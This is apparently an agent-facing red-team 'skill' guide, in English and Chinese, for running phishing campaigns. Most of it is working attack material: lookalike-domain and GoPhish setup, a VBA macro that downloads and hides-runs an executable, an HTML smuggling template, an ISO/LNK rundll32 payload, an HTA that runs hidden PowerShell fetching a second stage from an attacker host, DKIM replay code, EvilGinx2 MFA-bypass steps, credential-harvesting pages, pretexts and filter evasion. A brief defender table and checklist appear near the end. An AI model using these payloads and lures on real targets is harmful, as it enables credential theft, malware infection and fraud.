Offensive Phishing
攻击性 Phishing
Phishing remains the most reliable initial access vector in red team engagements. You are simulating a real adversary -- your infrastructure, pretexts, and payloads must withstand the same scrutiny that a targeted organization's email security stack applies to inbound mail. This skill walks you through building campaigns that test an organization's human and technical defenses against email-based social engineering.
Every technique here assumes you hold explicit written authorization. Document your scope, target lists, and escalation procedures before sending the first email.
Phishing 仍然是红队演练中最可靠的初始访问向量。你正在模拟真实对手——你的基础设施、话术和 Payload 必须能够经受目标组织的邮件安全技术栈对入站邮件所实施的同等审查。本 skill 将引导你构建 Phishing 活动,以测试组织针对基于邮件的社会工程攻击所设的人力与技术防御。
本 skill 中的每项技术均以你持有明确书面授权为前提。在发送第一封邮件前,应记录范围、目标名单和升级处理流程。
- Register a lookalike domain 4-8 weeks before the engagement; configure DNS records for SPF, DKIM, and DMARC alignment.
- Stand up GoPhish on dedicated infrastructure; configure SMTP relay through a reputable provider or self-hosted MTA.
- Develop pretexts based on OSINT -- org announcements, vendor relationships, internal processes.
- Build or clone landing pages; deploy EvilGinx2 phishlets if MFA bypass is in scope.
- Craft payloads matched to the target's email security posture (macro-enabled docs, HTML smuggling, ISO containers).
- Send test emails to your own accounts first; verify rendering, link tracking, and payload delivery.
- Launch the campaign in waves; monitor GoPhish dashboard for opens, clicks, and credential submissions.
- Document findings with timestamps, screenshots, and affected user counts for the final report.
- 在演练开始前 4–8 周注册一个相似域名;配置用于 SPF、DKIM 和 DMARC 对齐的 DNS 记录。
- 在专用基础设施上部署 GoPhish;通过信誉良好的提供商或自托管 MTA 配置 SMTP 中继。
- 基于 OSINT 开发话术——包括组织公告、供应商关系和内部流程。
- 构建或克隆落地页;如果测试范围包含 MFA 绕过,则部署 EvilGinx2 phishlet。
- 根据目标的邮件安全态势制作匹配的 Payload——包括启用宏的文档、HTML Smuggling 和 ISO 容器。
- 先向自己的账户发送测试邮件;验证呈现效果、链接跟踪和 Payload 投递情况。
- 分批启动活动;通过 GoPhish 仪表板监控打开、点击和凭据提交情况。
- 在最终报告中记录发现,并附时间戳、截图和受影响用户数量。
Infrastructure Setup
基础设施配置
Your sending infrastructure determines whether mail reaches the inbox or lands in quarantine. Treat infrastructure provisioning as the foundation of every campaign.
你的发送基础设施决定了邮件是进入收件箱还是落入隔离区。应将基础设施配置视为每项活动的基础。
Domain Acquisition and Aging
域名获取与预热
Register domains that visually or semantically resemble the target. Homoglyph substitutions (rn for m, vv for w), TLD swaps (.net instead of .com), and hyphenated variants all work. Age the domain for at least two weeks with benign content and low-volume legitimate email before using it in a campaign.
注册在视觉或语义上与目标相似的域名。同形字替换(用 rn 代替 m、用 vv 代替 w)、顶级域替换(使用 .net 而不是 .com)以及带连字符的变体均可奏效。在用于活动前,至少使用两周时间通过正常内容和低发送量的合法电子邮件对域名进行预热。
Check domain availability and WHOIS history
Check domain availability and WHOIS history
whois targetcorp-portal.com
whois targetcorp-portal.com
Verify no existing reputation flags
Verify no existing reputation flags
dig +short targetcorp-portal.com @8.8.8.8
dig +short targetcorp-portal.com @8.8.8.8
Generate homoglyph candidates with dnstwist
Generate homoglyph candidates with dnstwist
dnstwist --registered targetcorp.com
dnstwist --registered targetcorp.com
DNS and Email Authentication Records
DNS 和邮件身份验证记录
Proper SPF, DKIM, and DMARC records are non-negotiable. Without them, most modern email gateways will reject or quarantine your mail outright.
正确的 SPF、DKIM 和 DMARC 记录不可或缺。缺少这些记录,大多数现代邮件网关会直接拒绝或隔离你的邮件。
SPF record -- authorize your sending IP
SPF record -- authorize your sending IP
Add as TXT record on your phishing domain:
Add as TXT record on your phishing domain:
v=spf1 ip4:203.0.113.50 -all
v=spf1 ip4:203.0.113.50 -all
Generate DKIM keys (2048-bit RSA)
Generate DKIM keys (2048-bit RSA)
opendkim-genkey -s mail -d targetcorp-portal.com -b 2048
opendkim-genkey -s mail -d targetcorp-portal.com -b 2048
DMARC record -- set policy to none during warmup
DMARC record -- set policy to none during warmup
_dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com"
_dmarc.targetcorp-portal.com TXT "v=DMARC1; p=none; rua=mailto:dmarc@targetcorp-portal.com"
Verify DNS propagation
Verify DNS propagation
dig TXT targetcorp-portal.com
dig TXT mail._domainkey.targetcorp-portal.com
dig TXT _dmarc.targetcorp-portal.com
dig TXT targetcorp-portal.com
dig TXT mail._domainkey.targetcorp-portal.com
dig TXT _dmarc.targetcorp-portal.com
GoPhish Deployment
GoPhish 部署
GoPhish is the standard open-source phishing framework. Deploy it on a VPS with a valid TLS certificate.
GoPhish 是标准的开源 Phishing 框架。将它部署在配备有效 TLS 证书的 VPS 上。
Download and extract GoPhish
Download and extract GoPhish
Generate TLS certificate with Let's Encrypt
Generate TLS certificate with Let's Encrypt
certbot certonly --standalone -d phish.targetcorp-portal.com
certbot certonly --standalone -d phish.targetcorp-portal.com
Configure GoPhish (config.json)
Configure GoPhish (config.json)
cat <<'EOF' > /opt/gophish/config.json
{
"admin_server": {
"listen_url": "0.0.0.0:3333",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
}
}
EOF
cat <<'EOF' > /opt/gophish/config.json
{
"admin_server": {
"listen_url": "0.0.0.0:3333",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/fullchain.pem",
"key_path": "/etc/letsencrypt/live/phish.targetcorp-portal.com/privkey.pem"
}
}
EOF
Start GoPhish
Start GoPhish
cd /opt/gophish && ./gophish &
cd /opt/gophish && ./gophish &
SMTP Configuration
SMTP 配置
Self-hosted Postfix or a relay through Amazon SES, Mailgun, or SendGrid. Self-hosted gives you full control but requires careful IP reputation management.
可使用自托管 Postfix,或通过 Amazon SES、Mailgun 或 SendGrid 进行中继。自托管可提供完全控制,但需要谨慎管理 IP 信誉。
Postfix main.cf essentials for phishing relay
Postfix main.cf essentials for phishing relay
postconf -e "myhostname = mail.targetcorp-portal.com"
postconf -e "mydomain = targetcorp-portal.com"
postconf -e "smtp_tls_security_level = may"
postconf -e "smtp_tls_note_starttls_offer = yes"
postconf -e "milter_default_action = accept"
postconf -e "smtpd_milters = inet:localhost:8891"
postconf -e "non_smtpd_milters = inet:localhost:8891"
systemctl restart postfix
postconf -e "myhostname = mail.targetcorp-portal.com"
postconf -e "mydomain = targetcorp-portal.com"
postconf -e "smtp_tls_security_level = may"
postconf -e "smtp_tls_note_starttls_offer = yes"
postconf -e "milter_default_action = accept"
postconf -e "smtpd_milters = inet:localhost:8891"
postconf -e "non_smtpd_milters = inet:localhost:8891"
systemctl restart postfix
Payload Delivery Vectors
Payload 投递方式
Match your payload to the target's email gateway capabilities. If the organization strips macros, pivot to HTML smuggling or ISO containers.
根据目标的邮件网关能力选择 Payload。如果组织会清除宏,则转向 HTML Smuggling 或 ISO 容器。
Office Macro Payloads
Office 宏 Payload
Classic but still effective against organizations that allow macro-enabled documents. Use VBA stomping to remove the readable source while preserving the p-code.
vba
' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
Dim url As String
Dim path As String
url = "https://cdn.targetcorp-portal.com/update.exe"
path = Environ("TEMP") & "\svchost.exe"
Dim xhr As Object
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", url, False
xhr.send
Dim stream As Object
Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1
stream.Write xhr.responseBody
stream.SaveToFile path, 2
stream.Close
Shell path, vbHide
End Sub
虽然属于经典手法,但对于允许启用宏的文档的组织仍然有效。使用 VBA stomping 移除可读源码,同时保留 p-code。
vba
' Basic macro payload -- download and execute
' Place in ThisDocument or Auto_Open module
Sub AutoOpen()
Dim url As String
Dim path As String
url = "https://cdn.targetcorp-portal.com/update.exe"
path = Environ("TEMP") & "\svchost.exe"
Dim xhr As Object
Set xhr = CreateObject("MSXML2.XMLHTTP")
xhr.Open "GET", url, False
xhr.send
Dim stream As Object
Set stream = CreateObject("ADODB.Stream")
stream.Open
stream.Type = 1
stream.Write xhr.responseBody
stream.SaveToFile path, 2
stream.Close
Shell path, vbHide
End Sub
HTML Smuggling
HTML Smuggling
Bypass email gateways by encoding the payload in JavaScript and reconstructing it client-side. The email contains only HTML -- no attachments for the gateway to scan.
html
<!-- HTML smuggling template -->
<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var raw = atob(payload);
var arr = new Uint8Array(raw.length);
for (var i = 0; i < raw.length; i++) {
arr[i] = raw.charCodeAt(i);
}
var blob = new Blob([arr], {type: "application/octet-stream"});
var url = window.URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "Q3-Report.iso";
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
通过在 JavaScript 中编码 Payload 并在客户端重建来绕过邮件网关。邮件只包含 HTML——没有可供网关扫描的附件。
html
<!-- HTML smuggling template -->
<html>
<body>
<p>Please wait while your document loads...</p>
<script>
// Base64-encoded payload (ISO, EXE, or DLL)
var payload = "TVqQAAMAAAAEAAAA..."; // truncated
var raw = atob(payload);
var arr = new Uint8Array(raw.length);
for (var i = 0; i < raw.length; i++) {
arr[i] = raw.charCodeAt(i);
}
var blob = new Blob([arr], {type: "application/octet-stream"});
var url = window.URL.createObjectURL(blob);
var a = document.createElement("a");
a.href = url;
a.download = "Q3-Report.iso";
document.body.appendChild(a);
a.click();
window.URL.revokeObjectURL(url);
</script>
</body>
</html>
ISO/IMG Container Abuse
ISO/IMG 容器滥用
ISO and IMG files mount automatically on Windows 10/11, bypassing Mark-of-the-Web protections. Package an LNK file pointing to an embedded DLL or executable inside the container.
ISO 和 IMG 文件会自动挂载到 Windows 10/11,从而绕过 Mark-of-the-Web 保护。将一个指向容器内嵌入式 DLL 或可执行文件的 LNK 文件打包进去。
Create an ISO with a malicious LNK and hidden payload
Create an ISO with a malicious LNK and hidden payload
First, prepare the directory structure
First, prepare the directory structure
mkdir -p /tmp/iso_payload
cp payload.dll /tmp/iso_payload/
mkdir -p /tmp/iso_payload
cp payload.dll /tmp/iso_payload/
Create an LNK that executes the DLL via rundll32
Create an LNK that executes the DLL via rundll32
(use pylnk3 or mklnk for programmatic LNK creation)
(use pylnk3 or mklnk for programmatic LNK creation)
python3 -c "
import pylnk3
lnk = pylnk3.Lnk()
lnk.target = r'C:\Windows\System32\rundll32.exe'
lnk.arguments = r'payload.dll,DllMain'
lnk.icon_file = r'C:\Windows\System32\shell32.dll'
lnk.icon_index = 1
lnk.save('/tmp/iso_payload/Q3-Report.lnk')
"
python3 -c "
import pylnk3
lnk = pylnk3.Lnk()
lnk.target = r'C:\Windows\System32\rundll32.exe'
lnk.arguments = r'payload.dll,DllMain'
lnk.icon_file = r'C:\Windows\System32\shell32.dll'
lnk.icon_index = 1
lnk.save('/tmp/iso_payload/Q3-Report.lnk')
"
Generate the ISO
Generate the ISO
mkisofs -o /tmp/Q3-Report.iso -J -r /tmp/iso_payload/
mkisofs -o /tmp/Q3-Report.iso -J -r /tmp/iso_payload/
OneNote Embedded Payloads
OneNote 嵌入 Payload
OneNote files (.one) can embed scripts, executables, and HTA files. The user sees a "Double-click to open" prompt. Effective against environments that block Office macros.
OneNote 文件(.one)可以嵌入脚本、可执行文件和 HTA 文件。用户会看到“Double-click to open”(双击打开)的提示。对于阻止 Office 宏的环境,这种方式很有效。
Use o365creeper or custom tooling to craft .one files
Use o365creeper or custom tooling to craft .one files
OneNote payload embedding approach:
OneNote payload embedding approach:
1. Create a legitimate-looking OneNote page
1. Create a legitimate-looking OneNote page
2. Embed a malicious HTA or BAT file as an attachment
2. Embed a malicious HTA or BAT file as an attachment
3. Place a visual overlay instructing the user to "double-click to view"
3. Place a visual overlay instructing the user to "double-click to view"
Example HTA payload embedded in OneNote
Example HTA payload embedded in OneNote
cat <<'HTAEOF' > payload.hta
<html>
<head>
<script language="VBScript">
Sub Window_onLoad
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0
window.close
End Sub
</script>
</head>
</html>
HTAEOF
```
cat <<'HTAEOF' > payload.hta
<html>
<head>
<script language="VBScript">
Sub Window_onLoad
Set shell = CreateObject("WScript.Shell")
shell.Run "powershell -ep bypass -w hidden -c IEX((New-Object Net.WebClient).DownloadString('https://cdn.targetcorp-portal.com/stage2.ps1'))", 0
window.close
End Sub
</script>
</head>
</html>
HTAEOF
```
Email Authentication Bypass
邮件身份验证绕过
Understanding email authentication lets you exploit gaps between strict policy and actual enforcement.
了解邮件身份验证机制,有助于利用严格策略与实际执行之间的差距。
SPF Softfail Exploitation
SPF Softfail 利用
Many organizations configure SPF with ~all (softfail) instead of -all (hardfail). Softfail messages are tagged but often delivered, especially when combined with valid DKIM.
许多组织将 SPF 配置为 ~all(softfail),而不是 -all(hardfail)。softfail 邮件会被打上标记,但通常仍会投递,尤其是在与有效 DKIM 结合使用时。
Check target's SPF record for softfail
Check target's SPF record for softfail
dig TXT targetcorp.com | grep spf
dig TXT targetcorp.com | grep spf
If ~all is present, send from any IP -- the message gets tagged
If ~all is present, send from any IP -- the message gets tagged
but typically passes through to the inbox
but typically passes through to the inbox
Combine with valid DKIM on your own domain for best results
Combine with valid DKIM on your own domain for best results
DKIM Replay Attacks
DKIM 重放攻击
Send a legitimate email through a service that signs with DKIM, then replay the signed message body with modified envelope headers.
通过使用 DKIM 签名的服务发送一封合法邮件,然后修改信封头并重放已签名的邮件正文。
DKIM replay concept
DKIM replay concept
1. Send a message through a legitimate service (e.g., a newsletter platform)
1. Send a message through a legitimate service (e.g., a newsletter platform)
that DKIM-signs with a domain the target trusts
that DKIM-signs with a domain the target trusts
2. Capture the raw signed message
2. Capture the raw signed message
3. Modify the envelope From/To while preserving the DKIM-signed body
3. Modify the envelope From/To while preserving the DKIM-signed body
import smtplib
from email import message_from_file
import smtplib
from email import message_from_file
Load the captured DKIM-signed message
Load the captured DKIM-signed message
with open("signed_message.eml", "r") as f:
msg = message_from_file(f)
with open("signed_message.eml", "r") as f:
msg = message_from_file(f)
Modify envelope (not headers) and relay
Modify envelope (not headers) and relay
with smtplib.SMTP("mail.targetcorp-portal.com", 25) as smtp:
smtp.starttls()
smtp.sendmail(
"noreply@trusted-service.com", # envelope from
"victim@targetcorp.com", # envelope to
msg.as_string() # original DKIM-signed content
)
with smtplib.SMTP("mail.targetcorp-portal.com", 25) as smtp:
smtp.starttls()
smtp.sendmail(
"noreply@trusted-service.com", # envelope from
"victim@targetcorp.com", # envelope to
msg.as_string() # original DKIM-signed content
)
Display Name Spoofing and Homoglyph Domains
显示名称欺骗与同形字域名
The simplest bypass -- set the display name to match a trusted sender. Most email clients show the display name prominently and hide the actual address.
text
From: "IT Security Team <security@targetcorp.com>" <attacker@targetcorp-portal.com>
Subject: Mandatory Password Reset - Action Required
Combined with a homoglyph domain:
targetcorp.com vs targetc0rp.com (zero for o)
targetcorp.com vs targe7corp.com (seven for t)
targetcorp.com vs targetcorp.co (TLD change)
最简单的绕过方式——将显示名称设置为与可信发件人一致。大多数邮件客户端会突出显示显示名称,而隐藏真实地址。
text
From: "IT Security Team <security@targetcorp.com>" <attacker@targetcorp-portal.com>
Subject: Mandatory Password Reset - Action Required
Combined with a homoglyph domain:
targetcorp.com vs targetc0rp.com (zero for o)
targetcorp.com vs targe7corp.com (seven for t)
targetcorp.com vs targetcorp.co (TLD change)
Credential Harvesting with MFA Bypass
结合 MFA 绕过的凭据收集
Modern credential harvesting goes beyond cloned login pages. You need to intercept session tokens to bypass MFA.
现代凭据收集已超越简单的克隆登录页面。你需要截获会话 Token 才能绕过 MFA。
EvilGinx2 Transparent Proxy
EvilGinx2 透明代理
EvilGinx2 operates as a reverse proxy between the victim and the real authentication portal. It captures credentials AND session cookies, bypassing TOTP, push notifications, and SMS-based MFA.
EvilGinx2 作为反向代理运行在受害者与真实身份验证门户之间。它捕获凭据和会话 Cookie,从而绕过基于 TOTP、推送通知和短信的 MFA。
Install EvilGinx2
Install EvilGinx2
Configure and run
Configure and run
./evilginx2 -p phishlets/
./evilginx2 -p phishlets/
Inside the EvilGinx2 console:
Inside the EvilGinx2 console:
config domain targetcorp-portal.com
config ipv4 203.0.113.50
config domain targetcorp-portal.com
config ipv4 203.0.113.50
Load the Microsoft 365 phishlet
Load the Microsoft 365 phishlet
phishlets hostname o365 login.targetcorp-portal.com
phishlets enable o365
phishlets hostname o365 login.targetcorp-portal.com
phishlets enable o365
Create a lure URL
Create a lure URL
lures create o365
lures get-url 0
lures create o365
lures get-url 0
When the victim authenticates, EvilGinx2 captures:
When the victim authenticates, EvilGinx2 captures:
- Username and password
- Username and password
- Session cookies (bypasses MFA)
- Session cookies (bypasses MFA)
- Authorization tokens
- Authorization tokens
HTML Login Page Cloning
HTML 登录页克隆
For scenarios where transparent proxying is not feasible, clone the target login page and POST credentials to your collection server.
在无法实施透明代理的场景下,克隆目标登录页,并将凭据 POST 到你的收集服务器。
Clone a login page with wget
Clone a login page with wget
Modify the form action to POST to your server
Modify the form action to POST to your server
In the cloned HTML, change:
In the cloned HTML, change:
<form action="/auth/login" method="POST">
<form action="/auth/login" method="POST">
<form action="https://phish.targetcorp-portal.com/collect" method="POST">
<form action="https://phish.targetcorp-portal.com/collect" method="POST">
GoPhish handles this natively -- import the HTML as a landing page
GoPhish handles this natively -- import the HTML as a landing page
and GoPhish will intercept form submissions automatically
and GoPhish will intercept form submissions automatically
Spear Phishing and Pretext Development
鱼叉式 Phishing 与话术开发
Mass phishing tests awareness; spear phishing tests whether a motivated attacker can compromise a specific high-value target.
批量 Phishing 测试的是用户意识;鱼叉式 Phishing 测试的是动机明确的攻击者能否攻破特定的高价值目标。
OSINT-Driven Pretext Construction
基于 OSINT 的话术构建
Build pretexts from publicly available information: LinkedIn profiles, conference talks, social media, SEC filings, job postings.
根据公开信息构建话术:LinkedIn 个人资料、会议演讲、社交媒体、SEC 文件和招聘启事。
Gather target intelligence
Gather target intelligence
LinkedIn scraping for org chart and role identification
LinkedIn scraping for org chart and role identification
theHarvester -d targetcorp.com -b linkedin
theHarvester -d targetcorp.com -b linkedin
Email format enumeration
Email format enumeration
Common email formats to test
Common email formats to test
import itertools
first = 'john'
last = 'smith'
domain = 'targetcorp.com'
formats = [
f'{first}.{last}@{domain}',
f'{first[0]}{last}@{domain}',
f'{first}{last[0]}@{domain}',
f'{first}_{last}@{domain}',
f'{first}@{domain}',
]
for fmt in formats:
print(fmt)
"
import itertools
first = 'john'
last = 'smith'
domain = 'targetcorp.com'
formats = [
f'{first}.{last}@{domain}',
f'{first[0]}{last}@{domain}',
f'{first}{last[0]}@{domain}',
f'{first}_{last}@{domain}',
f'{first}@{domain}',
]
for fmt in formats:
print(fmt)
"
Verify emails with SMTP VRFY or RCPT TO
Verify emails with SMTP VRFY or RCPT TO
smtp-user-enum -M RCPT -U emails.txt -t mail.targetcorp.com
smtp-user-enum -M RCPT -U emails.txt -t mail.targetcorp.com
Pretext Examples by Scenario
按场景划分的话术示例
text
Scenario: IT department password reset
From: IT Helpdesk <helpdesk@targetcorp-portal.com>
Pretext: Annual security compliance requires password rotation.
Urgency: Account lockout in 24 hours.
Landing: Cloned SSO portal.
Scenario: Vendor invoice
From: accounts@vendor-corp.com (compromised or spoofed)
Pretext: Updated banking details for upcoming payment.
Payload: Macro-enabled Excel "invoice."
Scenario: Shared document notification
From: DocuSign <no-reply@docusign-notifications.com>
Pretext: HR document awaiting signature.
Landing: Credential harvesting page styled as DocuSign.
Scenario: Callback phishing (BazarCall)
From: subscription@streaming-service-portal.com
Pretext: Subscription renewal charge of $499.99.
Action: Call this number to cancel (leads to vishing agent).
text
Scenario: IT department password reset
From: IT Helpdesk <helpdesk@targetcorp-portal.com>
Pretext: Annual security compliance requires password rotation.
Urgency: Account lockout in 24 hours.
Landing: Cloned SSO portal.
Scenario: Vendor invoice
From: accounts@vendor-corp.com (compromised or spoofed)
Pretext: Updated banking details for upcoming payment.
Payload: Macro-enabled Excel "invoice."
Scenario: Shared document notification
From: DocuSign <no-reply@docusign-notifications.com>
Pretext: HR document awaiting signature.
Landing: Credential harvesting page styled as DocuSign.
Scenario: Callback phishing (BazarCall)
From: subscription@streaming-service-portal.com
Pretext: Subscription renewal charge of $499.99.
Action: Call this number to cancel (leads to vishing agent).
Email Filter Bypass Techniques
邮件过滤器绕过技术
Email security gateways inspect URLs, attachments, headers, and content. Your goal is to deliver the payload without triggering detections.
邮件安全网关会检查 URL、附件、标头和内容。你的目标是在不触发检测的情况下投递 Payload。
Techniques for Evasion
规避技术
text
URL obfuscation:
- Use URL shorteners (bit.ly, tinyurl) for initial link
- Redirect chains: benign domain -> 302 -> phishing page
- Open redirects on trusted domains (Google, Microsoft, Adobe)
- Time-delayed redirects (serve benign page during sandbox analysis)
Attachment evasion:
- Password-protected ZIP files (password in email body)
- Nested archives (ZIP inside ZIP)
- Rename extensions (.doc.iso, .pdf.lnk)
- Use less-scrutinized formats (SVG with embedded JS, .url files)
Content evasion:
- Invisible text / zero-font to confuse NLP classifiers
- Image-based email body (text rendered as PNG)
- Base64-encoded body sections
- Right-to-left override characters in filenames
text
URL obfuscation:
- Use URL shorteners (bit.ly, tinyurl) for initial link
- Redirect chains: benign domain -> 302 -> phishing page
- Open redirects on trusted domains (Google, Microsoft, Adobe)
- Time-delayed redirects (serve benign page during sandbox analysis)
Attachment evasion:
- Password-protected ZIP files (password in email body)
- Nested archives (ZIP inside ZIP)
- Rename extensions (.doc.iso, .pdf.lnk)
- Use less-scrutinized formats (SVG with embedded JS, .url files)
Content evasion:
- Invisible text / zero-font to confuse NLP classifiers
- Image-based email body (text rendered as PNG)
- Base64-encoded body sections
- Right-to-left override characters in filenames
QR Code Phishing (Quishing)
二维码 Phishing(Quishing)
QR codes in email bodies bypass URL scanners because the link is encoded in an image, not a clickable href.
二维码位于邮件正文中时,可以绕过 URL 扫描器,因为链接编码在图像中,而不是可点击的 href。
Generate a QR code pointing to your phishing URL
Generate a QR code pointing to your phishing URL
import qrcode
url = "
https://login.targetcorp-portal.com/auth"
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data(url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("mfa_setup_qr.png")
import qrcode
url = "
https://login.targetcorp-portal.com/auth"
qr = qrcode.QRCode(version=1, box_size=10, border=4)
qr.add_data(url)
qr.make(fit=True)
img = qr.make_image(fill_color="black", back_color="white")
img.save("mfa_setup_qr.png")
Embed in an email with pretext:
Embed in an email with pretext:
"Scan this QR code with your phone to complete MFA enrollment"
"Scan this QR code with your phone to complete MFA enrollment"
Detection / Defender View
检测视角与防御方视角
Understanding how defenders detect phishing helps you build campaigns that realistically test those controls.
| Control Layer | Detection Method | Attacker Consideration |
|---|
| Email gateway (Proofpoint, Mimecast) | URL reputation, attachment sandbox, header analysis | Use fresh domains, time-delayed payloads, encrypted attachments |
| SPF/DKIM/DMARC enforcement | Authentication header validation | Ensure proper alignment on your sending domain |
| Link protection (SafeLinks, URL Defense) | URL rewriting and detonation at click time | Redirect chains, captcha gates before payload |
| User awareness training | Reported phishing, suspicious email buttons | Higher sophistication pretexts, spear phishing |
| EDR / endpoint controls | Payload execution blocking | Test payload execution separately; not the phishing skill's scope |
| SIEM / SOC monitoring | Bulk credential submission alerts, impossible travel | Stagger campaign waves, use residential proxies |
Defenders should look for: newly registered domains in inbound mail, DMARC failures tagged but delivered, unusual login geography after campaign windows, and spikes in password reset requests.
了解防御方如何检测 Phishing,有助于构建能够真实检验这些控制措施的活动。
| 控制层 | 检测方法 | 攻击者需考虑的事项 |
|---|
| 邮件网关(Proofpoint、Mimecast) | URL 信誉、附件沙箱、标头分析 | 使用新域名、延迟触发 Payload、加密附件 |
| SPF/DKIM/DMARC 强制执行 | 身份验证标头校验 | 确保发送域名正确对齐 |
| 链接保护(SafeLinks、URL Defense) | URL 重写与点击时解析 | 使用重定向链,在 Payload 前设置验证码关卡 |
| 用户安全意识培训 | Phishing 举报、可疑邮件按钮 | 采用更复杂的话术和鱼叉式 Phishing |
| EDR / 端点控制 | 阻止 Payload 执行 | 单独测试 Payload 执行;这不在本 skill 的范围内 |
| SIEM / SOC 监控 | 批量凭据提交告警、不可能的旅行 | 错开活动批次,使用住宅代理 |
防御方应重点关注:入站邮件中新注册的域名、虽被标记为 DMARC 失败但仍被投递的邮件、活动窗口结束后异常的登录地理位置,以及密码重置请求激增。
Engagement Cheatsheet
演练速查表
text
PRE-ENGAGEMENT
[ ] Written authorization and scope document signed
[ ] Target list approved (no out-of-scope individuals)
[ ] Deconfliction contacts established with blue team (if not blind)
[ ] Domain registered and aging (minimum 2 weeks, ideally 4-8)
[ ] DNS records configured (SPF, DKIM, DMARC)
[ ] GoPhish deployed and tested
[ ] Landing pages cloned and functional
[ ] Payloads tested against target email gateway (send to yourself first)
EXECUTION
[ ] Test email sent to operator's own mailbox -- verify rendering
[ ] Campaign launched in waves (stagger send times)
[ ] Monitor GoPhish dashboard for opens, clicks, credential captures
[ ] Screenshot all credential captures with timestamps
[ ] If callback phishing: vishing team briefed and ready
POST-ENGAGEMENT
[ ] Campaign stopped; no further emails sent
[ ] All collected credentials securely stored and reported
[ ] Infrastructure torn down (domains, servers, GoPhish data)
[ ] Phishing simulation results compiled with per-department metrics
[ ] Recommendations: email gateway tuning, DMARC enforcement, user training
text
PRE-ENGAGEMENT
[ ] Written authorization and scope document signed
[ ] Target list approved (no out-of-scope individuals)
[ ] Deconfliction contacts established with blue team (if not blind)
[ ] Domain registered and aging (minimum 2 weeks, ideally 4-8)
[ ] DNS records configured (SPF, DKIM, DMARC)
[ ] GoPhish deployed and tested
[ ] Landing pages cloned and functional
[ ] Payloads tested against target email gateway (send to yourself first)
EXECUTION
[ ] Test email sent to operator's own mailbox -- verify rendering
[ ] Campaign launched in waves (stagger send times)
[ ] Monitor GoPhish dashboard for opens, clicks, credential captures
[ ] Screenshot all credential captures with timestamps
[ ] If callback phishing: vishing team briefed and ready
POST-ENGAGEMENT
[ ] Campaign stopped; no further emails sent
[ ] All collected credentials securely stored and reported
[ ] Infrastructure torn down (domains, servers, GoPhish data)
[ ] Phishing simulation results compiled with per-department metrics
[ ] Recommendations: email gateway tuning, DMARC enforcement, user training